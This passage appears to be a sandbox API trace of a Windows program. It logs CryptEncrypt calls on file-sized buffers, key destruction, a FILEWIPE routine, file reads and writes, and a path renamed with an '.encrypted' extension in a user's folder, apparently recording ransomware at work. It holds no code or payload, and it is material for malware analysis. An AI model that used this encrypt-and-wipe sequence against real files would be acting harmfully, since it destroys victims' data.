(in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.370] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.372] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.372] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16bc9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x16bd0) returned 1 [0029.372] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.372] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.372] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.372] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.372] CharLowerBuffW (in: lpsz="byte[93137]", cchLength=0xb | out: lpsz="byte[93137]") returned 0xb [0029.372] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.374] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16bc9, dwBufLen=0x16bd0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x16bd0) returned 1 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.374] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.374] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.402] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.403] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.403] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.403] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.403] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.403] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.403] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.403] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.403] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.404] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.404] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.404] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.404] CryptReleaseContext (hProv=0xe8f41997e0, dwFlags=0x0) returned 1 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.404] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.406] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.407] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.409] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.409] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.409] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.410] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.410] CharLowerBuffW (in: lpsz="byte[93129]", cchLength=0xb | out: lpsz="byte[93129]") returned 0xb [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.411] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.411] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.411] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.411] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.412] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.413] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.413] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.414] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.414] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10879) returned 1 [0029.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.414] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.415] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.415] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2a7f, lpOverlapped=0x0) returned 1 [0029.415] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.415] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2a7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.415] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10879) returned 1 [0029.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.encrypted.swf\r\n", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0029.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.encrypted.swf\r\n", cchWideChar=99, lpMultiByteStr=0xe8f4062330, cbMultiByte=99, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 